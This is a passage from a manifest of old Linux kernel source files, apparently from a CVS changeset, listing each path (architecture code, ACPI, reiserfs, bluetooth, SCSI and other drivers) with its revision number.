linux/arch/parisc/kernel/pci-dma.c - 1.5 linux/arch/parisc/kernel/parisc_ksyms.c - 1.4 linux/arch/parisc/kernel/irq.c - 1.5 linux/arch/parisc/kernel/head.S - 1.3 linux/arch/parisc/kernel/hardware.c - 1.3 linux/include/asm-m68k/motorola_pgtable.h - 1.3 linux/arch/parisc/kernel/ccio-rm-dma.c - 1.5 linux/arch/parisc/kernel/ccio-dma.c - 1.6 linux/arch/parisc/kernel/cache.c - 1.3 linux/arch/mips64/ld.script.elf32.S - 1.5 linux/arch/parisc/config.in - 1.4 linux/drivers/acpi/tables/tbconvrt.c - 1.7 linux/drivers/acpi/tables/tbxfroot.c - 1.6 linux/drivers/acpi/namespace/nsinit.c - 1.8 linux/drivers/acpi/include/actbl71.h - 1.6 linux/drivers/acpi/include/actbl2.h - 1.6 linux/drivers/acpi/include/actbl1.h - 1.5 linux/include/asm-arm/mmu.h - 1.2 linux/include/asm-mips/mmu.h - 1.2 linux/include/asm-mips64/mmu.h - 1.2 linux/include/linux/shmem_fs.h - 1.5 linux/mm/shmem.c - 1.36 linux/drivers/acpi/power.c - 1.4 linux/arch/ia64/sn/io/stubs.c - 1.5 linux/include/asm-ia64/sn/addrs.h - 1.5 linux/include/asm-ia64/sn/alenlist.h - 1.4 linux/include/asm-ia64/sn/arc/hinv.h - 1.5 linux/include/asm-ia64/sn/arc/types.h - 1.4 linux/include/asm-ia64/sn/arch.h - 1.5 linux/include/asm-ia64/sn/cdl.h - 1.5 linux/include/asm-ia64/sn/clksupport.h - 1.4 linux/include/asm-ia64/sn/dmamap.h - 1.5 linux/include/asm-ia64/sn/driver.h - 1.3 linux/include/asm-ia64/sn/eeprom.h - 1.5 linux/include/asm-ia64/sn/gda.h - 1.5 linux/include/asm-ia64/sn/hack.h - 1.5 linux/include/asm-ia64/sn/hcl.h - 1.5 linux/include/asm-ia64/sn/hcl_util.h - 1.3 linux/include/asm-ia64/sn/intr.h - 1.4 linux/include/asm-ia64/sn/intr_public.h - 1.5 linux/include/asm-ia64/sn/invent.h - 1.4 linux/include/asm-ia64/sn/io.h - 1.5 linux/include/asm-ia64/sn/ioc3.h - 1.3 linux/include/asm-ia64/sn/ioerror.h - 1.5 linux/include/asm-ia64/sn/ioerror_handling.h - 1.4 linux/include/asm-ia64/sn/iograph.h - 1.5 linux/include/asm-ia64/sn/klconfig.h - 1.5 linux/include/asm-ia64/sn/kldir.h - 1.4 linux/include/asm-ia64/sn/ksys/elsc.h - 1.5 linux/include/asm-ia64/sn/ksys/l1.h - 1.5 linux/include/asm-ia64/sn/labelcl.h - 1.3 linux/arch/ia64/kernel/iosapic.c - 1.8 linux/include/asm-ia64/sn/module.h - 1.5 linux/include/asm-ia64/sn/nic.h - 1.3 linux/include/asm-ia64/sn/xtalk/xwidget.h - 1.4 linux/include/asm-ia64/sn/xtalk/xtalkaddrs.h - 1.5 linux/include/asm-ia64/sn/xtalk/xtalk_private.h - 1.5 linux/include/asm-ia64/sn/xtalk/xtalk.h - 1.5 linux/include/asm-ia64/sn/xtalk/xswitch.h - 1.3 linux/include/asm-ia64/sn/xtalk/xbow_info.h - 1.3 linux/include/asm-ia64/sn/xtalk/xbow.h - 1.5 linux/include/asm-ia64/sn/vector.h - 1.3 linux/include/asm-ia64/sn/types.h - 1.5 linux/include/asm-ia64/sn/systeminfo.h - 1.3 linux/include/asm-ia64/sn/sn_private.h - 1.5 linux/include/asm-ia64/sn/sn_fru.h - 1.5 linux/include/asm-ia64/sn/sn_cpuid.h - 1.5 linux/include/asm-ia64/sn/sn1/slotnum.h - 1.5 linux/arch/ia64/lib/swiotlb.c - 1.9 linux/include/asm-ia64/sn/sn1/ip27config.h - 1.4 linux/arch/ia64/sn/io/Makefile - 1.6 linux/arch/ia64/sn/io/alenlist.c - 1.4 linux/arch/ia64/sn/io/cdl.c - 1.5 linux/arch/ia64/sn/io/eeprom.c - 1.4 linux/arch/ia64/sn/io/hcl.c - 1.6 linux/arch/ia64/sn/io/hcl_util.c - 1.5 linux/arch/ia64/sn/io/hubdev.c - 1.5 linux/arch/ia64/sn/io/hubspc.c - 1.6 linux/arch/ia64/sn/io/invent.c - 1.5 linux/arch/ia64/sn/io/io.c - 1.5 linux/arch/ia64/sn/io/klconflib.c - 1.5 linux/arch/ia64/sn/io/klgraph.c - 1.4 linux/arch/ia64/sn/io/klgraph_hack.c - 1.6 linux/arch/ia64/sn/io/l1.c - 1.6 linux/arch/ia64/sn/io/l1_command.c - 1.4 linux/arch/ia64/sn/io/labelcl.c - 1.5 linux/arch/ia64/sn/io/ml_SN_init.c - 1.4 linux/arch/ia64/sn/io/ml_iograph.c - 1.4 linux/arch/ia64/sn/io/module.c - 1.4 linux/arch/ia64/sn/io/pci.c - 1.5 linux/arch/ia64/sn/io/pci_bus_cvlink.c - 1.4 linux/arch/ia64/sn/io/pci_dma.c - 1.7 linux/arch/ia64/sn/io/pciio.c - 1.4 linux/arch/ia64/sn/io/sgi_if.c - 1.5 linux/arch/ia64/sn/io/sgi_io_init.c - 1.4 linux/arch/ia64/sn/io/sgi_io_sim.c - 1.5 linux/include/asm-ia64/sn/nodepda.h - 1.5 linux/arch/ia64/sn/io/xbow.c - 1.5 linux/arch/ia64/sn/io/xswitch.c - 1.5 linux/arch/ia64/sn/io/xtalk.c - 1.5 linux/include/asm-ia64/sn/sn1/hubxb_next.h - 1.5 linux/include/asm-ia64/sn/sn1/hubxb.h - 1.4 linux/include/asm-ia64/sn/sn1/hubpi_next.h - 1.5 linux/arch/ia64/sn/tools/make_textsym - 1.4 linux/include/asm-ia64/sn/sn1/hubpi.h - 1.4 linux/include/asm-ia64/sn/sn1/hubni_next.h - 1.4 linux/include/asm-ia64/sn/sn1/hubni.h - 1.4 linux/include/asm-ia64/sn/sn1/hubmd_next.h - 1.4 linux/include/asm-ia64/sn/sn1/hubmd.h - 1.5 linux/include/asm-ia64/sn/sn1/hublb_next.h - 1.4 linux/include/asm-ia64/sn/sn1/hublb.h - 1.4 linux/include/asm-ia64/sn/sn1/hubio_next.h - 1.4 linux/include/asm-ia64/sn/sn1/hubio.h - 1.4 linux/include/asm-ia64/sn/sn1/hubdev.h - 1.4 linux/include/asm-ia64/sn/sn1/bedrock.h - 1.4 linux/include/asm-ia64/sn/sn1/arch.h - 1.4 linux/include/asm-ia64/sn/sn1/addrs.h - 1.5 linux/include/asm-ia64/sn/slotnum.h - 1.5 linux/include/asm-ia64/sn/sgi.h - 1.5 linux/arch/sh/kernel/rtc.c - 1.6 linux/include/asm-ia64/sn/router.h - 1.4 linux/include/asm-ia64/sn/prio.h - 1.3 linux/include/asm-ia64/sn/pio.h - 1.4 linux/include/asm-ia64/sn/pci/pciio_private.h - 1.5 linux/include/asm-ia64/sn/pci/pciio.h - 1.5 linux/include/asm-ia64/sn/pci/pcibr_private.h - 1.6 linux/include/asm-ia64/sn/pci/pcibr.h - 1.5 linux/include/asm-ia64/sn/pci/pci_defs.h - 1.4 linux/include/asm-ia64/sn/pci/pci_bus_cvlink.h - 1.5 linux/include/asm-ia64/sn/pci/bridge.h - 1.5 linux/fs/reiserfs/stree.c - 1.18 linux/fs/reiserfs/super.c - 1.18 linux/fs/reiserfs/tail_conversion.c - 1.14 linux/drivers/acpi/acpi_ksyms.c - 1.8 linux/fs/reiserfs/resize.c - 1.6 linux/fs/reiserfs/prints.c - 1.12 linux/fs/reiserfs/objectid.c - 1.11 linux/drivers/acpi/hardware/hwsleep.c - 1.6 linux/drivers/acpi/hardware/hwtimer.c - 1.6 linux/fs/reiserfs/namei.c - 1.18 linux/fs/reiserfs/lbalance.c - 1.8 linux/fs/reiserfs/journal.c - 1.20 linux/fs/reiserfs/item_ops.c - 1.7 linux/fs/reiserfs/ioctl.c - 1.7 linux/fs/reiserfs/inode.c - 1.26 linux/fs/reiserfs/fix_node.c - 1.16 linux/fs/reiserfs/do_balan.c - 1.10 linux/fs/reiserfs/dir.c - 1.12 linux/fs/reiserfs/buffer2.c - 1.8 linux/include/linux/reiserfs_fs.h - 1.19 linux/include/linux/reiserfs_fs_sb.h - 1.12 linux/fs/reiserfs/bitmap.c - 1.12 linux/fs/reiserfs/Makefile - 1.6 linux/drivers/usb/storage/unusual_devs.h - 1.11 linux/include/asm-s390/dasd.h - 1.7 linux/arch/s390x/kernel/signal32.c - 1.5 linux/include/asm-s390x/pgtable.h - 1.8 linux/arch/s390x/kernel/signal.c - 1.8 linux/arch/s390x/kernel/setup.c - 1.10 linux/include/asm-s390x/page.h - 1.8 linux/include/asm-s390x/irq.h - 1.8 linux/include/asm-s390x/idals.h - 1.4 linux/arch/s390x/kernel/s390_ksyms.c - 1.9 linux/include/asm-s390x/dasd.h - 1.8 linux/arch/arm/boot/compressed/head-shark.S - 1.4 linux/include/asm-s390x/ccwcache.h - 1.4 linux/drivers/sound/maestro3.c - 1.11 linux/include/asm-s390x/s390io.h - 1.4 linux/arch/s390x/kernel/ioctl32.c - 1.6 linux/arch/s390x/kernel/head.S - 1.9 linux/include/asm-s390x/setup.h - 1.7 linux/drivers/s390/s390mach.c - 1.6 linux/arch/cris/Makefile - 1.11 linux/arch/cris/boot/compressed/README - 1.2 linux/arch/cris/boot/compressed/misc.c - 1.4 linux/arch/cris/config.in - 1.11 linux/arch/cris/defconfig - 1.12 linux/arch/cris/drivers/Config.in - 1.10 linux/arch/cris/drivers/axisflashmap.c - 1.10 linux/arch/cris/drivers/ethernet.c - 1.11 linux/arch/cris/drivers/ide.c - 1.8 linux/arch/cris/drivers/serial.c - 1.14 linux/arch/cris/drivers/serial.h - 1.8 linux/arch/cris/kernel/Makefile - 1.10 linux/arch/cris/kernel/debugport.c - 1.4 linux/arch/cris/kernel/entry.S - 1.14 linux/arch/cris/kernel/head.S - 1.12 linux/arch/cris/kernel/irq.c - 1.8 linux/arch/cris/kernel/kgdb.c - 1.6 linux/arch/cris/kernel/process.c - 1.13 linux/arch/cris/kernel/setup.c - 1.13 linux/arch/cris/kernel/shadows.c - 1.3 linux/arch/cris/kernel/signal.c - 1.8 linux/arch/cris/kernel/sys_cris.c - 1.7 linux/arch/cris/kernel/time.c - 1.9 linux/arch/cris/kernel/traps.c - 1.11 linux/arch/cris/lib/checksum.S - 1.7 linux/arch/cris/lib/checksumcopy.S - 1.8 linux/arch/cris/lib/dmacopy.c - 1.2 linux/arch/cris/lib/old_checksum.c - 1.2 linux/arch/cris/mm/fault.c - 1.10 linux/arch/cris/mm/init.c - 1.8 linux/drivers/s390/s390io.c - 1.11 linux/drivers/s390/net/netiucv.c - 1.12 linux/drivers/s390/net/fsm.h - 1.5 linux/drivers/s390/net/ctcmain.c - 1.7 linux/arch/s390x/kernel/entry.S - 1.15 linux/arch/s390x/kernel/debug.c - 1.9 linux/arch/s390x/kernel/binfmt_elf32.c - 1.4 linux/arch/s390x/kernel/Makefile - 1.7 linux/arch/s390x/config.in - 1.8 linux/arch/s390x/mm/init.c - 1.9 linux/drivers/s390/block/dasd_fba.h - 1.4 linux/drivers/s390/block/dasd_fba.c - 1.7 linux/drivers/s390/block/dasd_eckd.h - 1.6 linux/drivers/s390/block/dasd_diag.h - 1.4 linux/drivers/s390/block/dasd_diag.c - 1.7 linux/arch/s390x/kernel/wrapper32.S - 1.5 linux/include/asm-s390/ccwcache.h - 1.4 linux/drivers/s390/block/dasd_3990_erp.c - 1.10 linux/include/asm-cris/uaccess.h - 1.6 linux/include/asm-cris/timex.h - 1.7 linux/include/asm-cris/termbits.h - 1.2 linux/include/asm-cris/system.h - 1.8 linux/include/asm-arm/arch-sa1100/graphicsclient.h - 1.3 linux/include/asm-cris/semaphore.h - 1.6 linux/include/asm-cris/sigcontext.h - 1.2 linux/include/asm-arm/mach/irq.h - 1.2 linux/include/asm-s390/idals.h - 1.5 linux/include/asm-cris/atomic.h - 1.4 linux/drivers/net/pci-skeleton.c - 1.13 linux/include/asm-cris/bitops.h - 1.7 linux/include/asm-cris/bugs.h - 1.2 linux/include/asm-cris/byteorder.h - 1.3 linux/include/asm-cris/delay.h - 1.7 linux/include/asm-cris/dma.h - 1.4 linux/include/asm-cris/eshlibld.h - 1.3 linux/include/asm-cris/semaphore-helper.h - 1.4 linux/include/asm-cris/rtc.h - 1.5 linux/arch/s390/kernel/debug.c - 1.9 linux/include/asm-cris/processor.h - 1.11 linux/include/asm-cris/posix_types.h - 1.3 linux/include/asm-cris/pci.h - 1.2 linux/include/asm-cris/namei.h - 1.2 linux/include/asm-cris/irq.h - 1.9 linux/include/asm-cris/io.h - 1.8 linux/include/asm-cris/ide.h - 1.4 linux/arch/s390x/vmlinux.lds - 1.5 linux/include/asm-arm/arch-integrator/system.h - 1.4 linux/include/asm-arm/arch-integrator/memory.h - 1.3 linux/drivers/usb/serial/io_edgeport.c - 1.19 linux/drivers/scsi/aic7xxx/cam.h - 1.6 linux/drivers/scsi/aic7xxx/aicasm/aicasm_symbol.h - 1.6 linux/drivers/scsi/aic7xxx/aicasm/aicasm_symbol.c - 1.8 linux/drivers/scsi/aic7xxx/aicasm/aicasm_scan.l - 1.7 linux/drivers/scsi/aic7xxx/aicasm/aicasm_insformat.h - 1.6 linux/drivers/scsi/aic7xxx/aicasm/aicasm_gram.y - 1.7 linux/drivers/scsi/aic7xxx/aicasm/aicasm.h - 1.7 linux/drivers/scsi/aic7xxx/aicasm/aicasm.c - 1.7 linux/drivers/scsi/aic7xxx/aicasm/Makefile - 1.5 linux/drivers/scsi/aic7xxx/aic7xxx_seq.h - 1.9 linux/drivers/scsi/aic7xxx/aic7xxx_reg.h - 1.9 linux/drivers/scsi/aic7xxx/aic7xxx_proc.c - 1.9 linux/drivers/scsi/aic7xxx/aic7xxx_pci.c - 1.9 linux/drivers/scsi/aic7xxx/aic7xxx_osm.h - 1.10 linux/drivers/scsi/aic7xxx/aic7xxx_inline.h - 1.8 linux/drivers/scsi/aic7xxx/aic7xxx_93cx6.h - 1.6 linux/drivers/scsi/aic7xxx/aic7xxx_93cx6.c - 1.7 linux/arch/arm/mach-integrator/irq.c - 1.2 linux/drivers/scsi/aic7xxx/aic7xxx.h - 1.8 linux/drivers/scsi/aic7xxx/aic7770.c - 1.9 linux/drivers/scsi/aic7xxx/Makefile - 1.7 linux/drivers/scsi/aic7xxx/Config.in - 1.6 linux/drivers/net/sungem.c - 1.15 linux/drivers/s390/char/ctrlchar.c - 1.4 linux/drivers/s390/char/ctrlchar.h - 1.3 linux/drivers/s390/net/ctctty.c - 1.4 linux/Documentation/mips/time.README - 1.2 linux/Documentation/s390/Debugging390.txt - 1.5 linux/drivers/video/maxinefb.c - 1.5 linux/drivers/video/maxinefb.h - 1.2 linux/drivers/video/pmag-ba-fb.c - 1.4 linux/drivers/video/pmagb-b-fb.c - 1.4 linux/drivers/block/paride/bpck6.c - 1.6 linux/arch/arm/boot/compressed/head-clps7500.S - 1.2 linux/arch/sh/kernel/pci_st40.h - 1.2 linux/arch/sh/kernel/pci_st40.c - 1.4 linux/arch/arm/kernel/irq-arch.c - 1.3 linux/include/asm-arm/arch-l7200/keyboard.h - 1.3 linux/arch/arm/mach-ebsa110/irq.c - 1.2 linux/arch/arm/mach-footbridge/irq.c - 1.2 linux/arch/arm/mach-sa1100/dma-sa1100.c - 1.6 linux/arch/arm/mach-sa1100/dma-sa1111.c - 1.6 linux/include/asm-cris/etraxgpio.h - 1.7 linux/include/asm-cris/etraxi2c.h - 1.2 linux/include/asm-ia64/perfmon.h - 1.6 linux/include/asm-ia64/sn/pci/pciba.h - 1.4 linux/include/asm-ia64/sn/sn_sal.h - 1.4 linux/include/asm-ia64/sn/sv.h - 1.4 linux/arch/mips/mips-boards/malta/malta_setup.c - 1.6 linux/arch/mips/mips-boards/malta/malta_int.c - 1.6 linux/arch/mips/mips-boards/generic/time.c - 1.6 linux/arch/mips/mips-boards/generic/printf.c - 1.4 linux/arch/mips/mips-boards/generic/pci.c - 1.5 linux/arch/mips/mips-boards/generic/memory.c - 1.4 linux/arch/mips/mips-boards/generic/init.c - 1.5 linux/net/ipv4/netfilter/ip_nat_helper.c - 1.6 linux/arch/mips/mips-boards/generic/Makefile - 1.5 linux/arch/mips/mips-boards/atlas/atlas_setup.c - 1.6 linux/arch/mips/mips-boards/atlas/atlas_int.c - 1.5 linux/arch/mips/math-emu/sp_sub.c - 1.4 linux/arch/mips/math-emu/sp_sqrt.c - 1.3 linux/arch/cris/boot/rescue/head.S - 1.6 linux/arch/cris/boot/rescue/kimagerescue.S - 1.5 linux/arch/cris/boot/rescue/testrescue.S - 1.5 linux/arch/mips/math-emu/sp_flong.c - 1.3 linux/arch/mips/math-emu/sp_fint.c - 1.3 linux/arch/mips/math-emu/sp_cmp.c - 1.4 linux/arch/cris/drivers/examples/kiobuftest.c - 1.2 linux/arch/cris/drivers/gpio.c - 1.10 linux/arch/cris/drivers/i2c.c - 1.5 linux/arch/cris/drivers/i2c.h - 1.3 linux/arch/mips/math-emu/kernel_linkage.c - 1.4 linux/arch/mips/math-emu/ieee754xcpt.c - 1.3 linux/arch/cris/drivers/sync_serial.c - 1.7 linux/arch/cris/drivers/usb-host.c - 1.11 linux/arch/cris/drivers/usb-host.h - 1.3 linux/arch/mips/math-emu/ieee754sp.c - 1.4 linux/arch/mips/math-emu/ieee754int.h - 1.4 linux/arch/mips/math-emu/ieee754dp.c - 1.4 linux/arch/cris/lib/dram_init.S - 1.9 linux/arch/cris/mm/ioremap.c - 1.4 linux/arch/mips/math-emu/dp_flong.c - 1.3 linux/arch/mips/math-emu/dp_fint.c - 1.2 linux/arch/mips/math-emu/dp_cmp.c - 1.4 linux/arch/mips/math-emu/cp1emu.c - 1.7 linux/arch/mips/ite-boards/qed-4n-s01b/pci_fixup.c - 1.4 linux/arch/mips/ite-boards/qed-4n-s01b/init.c - 1.4 linux/arch/mips/ite-boards/qed-4n-s01b/Makefile - 1.4 linux/arch/mips/ite-boards/generic/time.c - 1.4 linux/arch/mips/ite-boards/generic/reset.c - 1.3 linux/arch/mips/ite-boards/generic/pmon_prom.c - 1.4 linux/arch/mips/ite-boards/generic/lpc.c - 1.3 linux/arch/mips/ite-boards/generic/it8172_setup.c - 1.4 linux/arch/mips/ite-boards/generic/it8172_rtc.c - 1.3 linux/arch/mips/ite-boards/generic/it8172_pci.c - 1.4 linux/arch/mips/ite-boards/generic/irq.c - 1.5 linux/arch/mips/ite-boards/generic/int-handler.S - 1.3 linux/arch/mips/ite-boards/generic/dbg_io.c - 1.3 linux/arch/mips/ite-boards/generic/Makefile - 1.4 linux/arch/mips/defconfig-it8172 - 1.4 linux/include/asm-mips/it8172/it8172.h - 1.3 linux/include/asm-mips/it8172/it8172_cir.h - 1.3 linux/arch/mips/defconfig-ddb5476 - 1.5 linux/include/asm-mips/it8172/it8172_dbg.h - 1.3 linux/include/asm-mips/it8172/it8172_int.h - 1.4 linux/include/asm-mips/it8712.h - 1.2 linux/include/asm-s390/vtoc.h - 1.6 linux/include/asm-s390x/vtoc.h - 1.5 linux/arch/mips/arc/arc_con.c - 1.3 linux/arch/ia64/kernel/efivars.c - 1.7 linux/arch/ia64/sn/io/pciba.c - 1.4 linux/include/asm-ppc/ppc4xx.h - 1.4 linux/include/asm-ppc/ppc4xx_serial.h - 1.3 linux/drivers/net/irda/irda-usb.c - 1.13 linux/drivers/net/wireless/airport.c - 1.9 linux/drivers/net/wireless/hermes.c - 1.10 linux/drivers/net/wireless/hermes.h - 1.11 linux/drivers/net/wireless/orinoco.c - 1.11 linux/drivers/net/wireless/orinoco.h - 1.10 linux/drivers/net/wireless/orinoco_cs.c - 1.12 linux/arch/ppc/boot/utils/mkprep.c - 1.3 linux/arch/ppc/boot/utils/mknote.c - 1.3 linux/arch/ppc/boot/prep/of1275.h - 1.3 linux/arch/ppc/boot/prep/misc.c - 1.9 linux/arch/ppc/boot/prep/Makefile - 1.10 linux/arch/ppc/boot/pmac/start.c - 1.4 linux/arch/ppc/boot/pmac/coffmain.c - 1.6 linux/arch/ppc/boot/pmac/chrpmain.c - 1.6 linux/arch/ppc/boot/pmac/Makefile - 1.8 linux/arch/cris/drivers/ds1302.c - 1.7 linux/arch/cris/drivers/eeprom.c - 1.5 linux/arch/cris/drivers/parport.c - 1.9 linux/arch/ppc/boot/lib/zlib.c - 1.4 linux/arch/ppc/boot/include/zlib.h - 1.3 linux/arch/ppc/boot/include/rs6000.h - 1.3 linux/arch/cris/lib/hw_settings.S - 1.5 linux/arch/ppc/boot/common/ns16550.c - 1.6 linux/arch/ppc/boot/common/misc-simple.c - 1.7 linux/arch/ppc/boot/common/misc-common.c - 1.7 linux/arch/ppc/boot/common/crt0.S - 1.6 linux/arch/ppc/boot/common/Makefile - 1.3 linux/arch/ppc/boot/chrp/main.c - 1.6 linux/include/net/bluetooth/bluetooth.h - 1.6 linux/include/net/bluetooth/hci.h - 1.7 linux/include/net/bluetooth/l2cap.h - 1.5 linux/drivers/bluetooth/hci_usb.c - 1.8 linux/drivers/bluetooth/Makefile - 1.6 linux/drivers/bluetooth/Config.in - 1.6 linux/net/bluetooth/Config.in - 1.5 linux/net/bluetooth/Makefile - 1.5 linux/net/bluetooth/af_bluetooth.c - 1.7 linux/net/bluetooth/hci_core.c - 1.11 linux/net/bluetooth/hci_sock.c - 1.7 linux/net/bluetooth/syms.c - 1.5 linux/drivers/mtd/maps/octagon-5066.c - 1.4 linux/drivers/acpi/ospm/ec/ecgpe.c - 1.3 linux/drivers/acpi/executer/exstore.c - 1.5 linux/drivers/acpi/ospm/ec/ec_osl.c - 1.6 linux/drivers/acpi/ospm/ec/Makefile - 1.2 linux/drivers/acpi/ospm/include/pr.h - 1.4 linux/drivers/acpi/ospm/button/bn_osl.c - 1.6 linux/drivers/acpi/utilities/utxface.c - 1.4 linux/drivers/acpi/utilities/utobject.c - 1.4 linux/drivers/acpi/utilities/utmisc.c - 1.4 linux/drivers/acpi/utilities/utinit.c - 1.4 linux/drivers/acpi/utilities/utglobal.c - 1.4 linux/drivers/acpi/utilities/uteval.c - 1.4 linux/drivers/acpi/utilities/utdelete.c - 1.4 linux/drivers/acpi/utilities/utdebug.c - 1.5 linux/drivers/acpi/utilities/utcopy.c - 1.4 linux/drivers/acpi/utilities/utalloc.c - 1.4 linux/drivers/acpi/utilities/Makefile - 1.2 linux/drivers/acpi/ospm/button/bn.c - 1.4 linux/drivers/acpi/ospm/button/Makefile - 1.2 linux/drivers/acpi/ospm/busmgr/bmutils.c - 1.4 linux/drivers/acpi/ospm/busmgr/bmsearch.c - 1.3 linux/drivers/acpi/ospm/thermal/tz.c - 1.4 linux/drivers/acpi/ospm/busmgr/bmrequest.c - 1.3 linux/drivers/acpi/ospm/busmgr/bmpower.c - 1.4 linux/drivers/acpi/ospm/busmgr/bmpm.c - 1.3 linux/drivers/acpi/ospm/busmgr/bmnotify.c - 1.3 linux/drivers/acpi/ospm/busmgr/bmdriver.c - 1.3 linux/drivers/acpi/ospm/busmgr/bm_osl.c - 1.7 linux/drivers/acpi/ospm/busmgr/bm.c - 1.4 linux/drivers/acpi/ospm/busmgr/Makefile - 1.3 linux/drivers/acpi/ospm/thermal/Makefile - 1.2 linux/drivers/acpi/ospm/battery/bt_osl.c - 1.6 linux/drivers/acpi/ospm/battery/bt.c - 1.4 linux/drivers/acpi/Config.in - 1.2 linux/drivers/acpi/include/acstruct.h - 1.4 linux/drivers/acpi/ospm/system/sm_osl.c - 1.7 linux/drivers/acpi/ospm/thermal/tz_osl.c - 1.7 linux/drivers/acpi/ospm/thermal/tzpolicy.c - 1.5 linux/drivers/acpi/ospm/system/sm.c - 1.4 linux/drivers/usb/catc.c - 1.7 linux/drivers/acpi/ospm/include/bt.h - 1.4 linux/drivers/acpi/ospm/include/bn.h - 1.4 linux/drivers/acpi/include/acutils.h - 1.4 linux/drivers/net/wireless/airo.c - 1.15 linux/drivers/acpi/include/platform/acenv.h - 1.4 linux/drivers/acpi/ospm/include/bmpower.h - 1.3 linux/drivers/acpi/include/platform/acgcc.h - 1.7 linux/drivers/acpi/include/platform/aclinux.h - 1.4 linux/drivers/acpi/debugger/dbcmds.c - 1.4 linux/drivers/acpi/debugger/dbdisasm.c - 1.4 linux/drivers/acpi/debugger/dbdisply.c - 1.4 linux/drivers/acpi/debugger/dbexec.c - 1.3 linux/drivers/acpi/debugger/dbfileio.c - 1.4 linux/drivers/acpi/debugger/dbhistry.c - 1.3 linux/drivers/acpi/debugger/dbinput.c - 1.4 linux/drivers/acpi/debugger/dbstats.c - 1.4 linux/drivers/acpi/debugger/dbutils.c - 1.4 linux/drivers/acpi/debugger/dbxface.c - 1.4 linux/drivers/acpi/ospm/system/Makefile - 1.2 linux/drivers/acpi/ospm/include/ec.h - 1.3 linux/drivers/acpi/ospm/processor/prpower.c - 1.4 linux/drivers/acpi/ospm/processor/prperf.c - 1.4 linux/drivers/acpi/ospm/battery/Makefile - 1.2 linux/drivers/acpi/ospm/processor/pr_osl.c - 1.7 linux/drivers/acpi/ospm/ac_adapter/ac_osl.c - 1.6 linux/drivers/acpi/ospm/processor/pr.c - 1.4 linux/drivers/acpi/ospm/processor/Makefile - 1.2 linux/drivers/acpi/ospm/ac_adapter/ac.c - 1.4 linux/drivers/acpi/executer/exutils.c - 1.4 linux/drivers/acpi/executer/exsystem.c - 1.3 linux/drivers/acpi/ospm/ac_adapter/Makefile - 1.2 linux/drivers/acpi/executer/exstorob.c - 1.3 linux/drivers/acpi/ospm/Makefile - 1.2 linux/drivers/acpi/executer/exstoren.c - 1.3 linux/drivers/acpi/ospm/include/bm.h - 1.3 linux/drivers/acpi/ospm/ec/ecmain.c - 1.4 linux/drivers/acpi/ospm/include/sm.h - 1.3 linux/drivers/acpi/ospm/include/tz.h - 1.4 linux/drivers/acpi/ospm/ec/ecspace.c - 1.4 linux/drivers/acpi/ospm/ec/ectransx.c - 1.4 linux/drivers/acpi/ospm/include/ac.h - 1.3 linux/drivers/acpi/executer/Makefile - 1.2 linux/drivers/acpi/executer/exconfig.c - 1.4 linux/drivers/acpi/executer/exconvrt.c - 1.4 linux/drivers/acpi/executer/excreate.c - 1.4 linux/drivers/acpi/executer/exdump.c - 1.4 linux/drivers/acpi/executer/exfield.c - 1.3 linux/drivers/acpi/executer/exfldio.c - 1.4 linux/drivers/acpi/executer/exmisc.c - 1.4 linux/drivers/acpi/executer/exmutex.c - 1.3 linux/drivers/acpi/executer/exnames.c - 1.3 linux/drivers/acpi/executer/exprep.c - 1.4 linux/drivers/acpi/executer/exregion.c - 1.4 linux/drivers/acpi/executer/exresnte.c - 1.5 linux/drivers/acpi/executer/exresolv.c - 1.4 linux/drivers/acpi/executer/exresop.c - 1.4 linux/drivers/acorn/char/mouse_ps2.c - 1.5 linux/arch/sh/stboards/setup.c - 1.2 linux/arch/arm/boot/compressed/head-integrator.S - 1.2 linux/drivers/usb/serial/pl2303.c - 1.10 linux/arch/sh/kernel/pci-sh7751.c - 1.4 linux/include/asm-sh/mc146818rtc.h - 1.2 linux/include/asm-sh/pci-sh7751.h - 1.2 linux/Documentation/power/pci.txt - 1.3 linux/include/asm-mips/time.h - 1.5 linux/arch/mips/ld.script.in - 1.2 linux/drivers/isdn/tpam/tpam_queues.c - 1.4 linux/arch/mips/kernel/i8259.c - 1.5 linux/arch/mips/kernel/old-irq.c - 1.5 linux/arch/mips/kernel/old-time.c - 1.5 linux/arch/mips/kernel/pci-dma.c - 1.5 linux/include/asm-mips/mips32_cache.h - 1.4 linux/arch/mips/kernel/smp.c - 1.7 linux/arch/ppc/mm/hashtable.S - 1.5 linux/drivers/scsi/pcmcia/nsp_cs.c - 1.9 linux/arch/mips/mm/ioremap.c - 1.4 linux/include/asm-mips64/rrm.h - 1.3 linux/arch/cris/drivers/lpslave/bintocarr.pl - 1.5 linux/arch/cris/drivers/lpslave/e100lpslave.S - 1.4 linux/Documentation/sonypi.txt - 1.9 linux/drivers/char/sonypi.h - 1.10 linux/drivers/media/video/meye.h - 1.5 linux/drivers/media/video/meye.c - 1.9 linux/drivers/char/sonypi.c - 1.10 linux/drivers/net/dl2k.h - 1.10 linux/drivers/message/fusion/scsi3.h - 1.5 linux/drivers/message/fusion/mptscsih.h - 1.6 linux/drivers/message/fusion/mptscsih.c - 1.9 linux/drivers/message/fusion/mptlan.c - 1.8 linux/drivers/message/fusion/mptctl.c - 1.10 linux/drivers/message/fusion/mptbase.h - 1.9 linux/drivers/message/fusion/mptbase.c - 1.9 linux/drivers/message/fusion/Makefile - 1.5 linux/drivers/message/fusion/isense.c - 1.7 linux/drivers/message/fusion/linux_compat.h - 1.7 linux/drivers/ieee1394/sbp2.c - 1.14 linux/drivers/ieee1394/sbp2.h - 1.12 linux/drivers/ieee1394/nodemgr.c - 1.15 linux/drivers/ieee1394/nodemgr.h - 1.8 linux/Documentation/s390/CommonIO - 1.3 linux/arch/ia64/kernel/sigframe.h - 1.3 linux/arch/ia64/kernel/irq_lsapic.c - 1.2 linux/drivers/s390/block/dasd_int.h - 1.6 linux/drivers/usb/CDCEther.c - 1.9 linux/drivers/usb/kaweth.c - 1.11 linux/drivers/ieee1394/ieee1394_hotplug.h - 1.5 linux/arch/s390x/vmlinux-shared.lds - 1.3 linux/arch/arm/mach-sa1100/sa1111.c - 1.5 linux/arch/arm/mach-sa1100/sa1111-pcibuf.c - 1.4 linux/arch/arm/kernel/compat.c - 1.4 linux/arch/arm/kernel/entry-header.S - 1.4 linux/include/asm-arm/arch-anakin/memory.h - 1.2 linux/include/asm-arm/arch-anakin/time.h - 1.2 linux/arch/arm/mach-sa1100/pcipool.h - 1.2 linux/arch/arm/mach-sa1100/pcipool.c - 1.2 linux/arch/arm/mach-sa1100/neponset.c - 1.6 linux/arch/arm/mach-sa1100/nanoengine.c - 1.3 linux/arch/arm/mach-sa1100/leds.h - 